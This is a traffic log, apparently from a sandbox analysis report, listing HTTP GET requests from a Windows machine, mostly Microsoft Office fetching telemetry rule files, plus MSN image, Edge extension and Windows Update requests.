Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732416152&P2=404&P3=2&P4=Z86CONVGfKeOIe9WPOJYpzIodSjhfYZvCQltXhCT%2f%2buIkUcTHa0xhUYmyj4%2fQhz%2b1g3Ad3CKXMBpihUGYGyTcw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 8gy7uLx60bPXR+akgQkcaJSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eYG+6Z7uo4a8ZEy&MD=L8EZRBY9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
